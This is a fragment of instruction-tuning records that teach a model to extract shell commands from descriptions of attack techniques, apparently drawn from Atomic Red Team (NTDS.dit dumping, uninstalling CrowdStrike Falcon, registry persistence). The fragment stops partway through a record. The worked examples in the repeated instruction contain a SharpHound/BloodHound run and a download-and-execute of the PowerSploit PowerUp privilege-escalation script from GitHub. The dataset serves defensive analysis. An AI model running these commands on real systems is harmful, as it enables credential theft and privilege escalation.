    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Modify rc.common\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Perform a PCAP on macOS. This will require Wireshark/tshark to be installed. TCPdump may already be installed.\n\nUpon successful execution, tshark or tcpdump will execute and capture 5 packets on interface en0A.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test will modify the HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders -V \"Common Startup\" \nvalue to point to a new startup folder where a payload could be stored to launch at boot.  *successful execution requires system restart\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary can modify the group policy settings.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Uninstall Crowdstrike Falcon. If the WindowsSensor.exe path is not provided as an argument we need to search for it. Since the executable is located in a folder named with a random guid we need to identify it before invoking the uninstaller.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test is intended to be run on a domain Controller.\n\nThe Active Directory database NTDS.dit may be dumped using NTDSUtil for offline credential theft attacks. This capability\nuses the \"IFM\" or \"Install From Media\" backup functionality that allows Active Directory restoration or installation of\nsubsequent domain controllers without the need of network-based replication.\n\nUpon successful completion, you will find a copy of the ntds.dit file in the C:\\Windows\\Temp directory.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Enumerate PlugNPlay Camera using powershell commandlet. this technique was seen in dcrat malware backdoor capabilities where it enumerate the camera info mounted on the compromised host. reference: https://www.mandiant.com/resources/analyzing-dark-crystal-rat-backdoor\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - 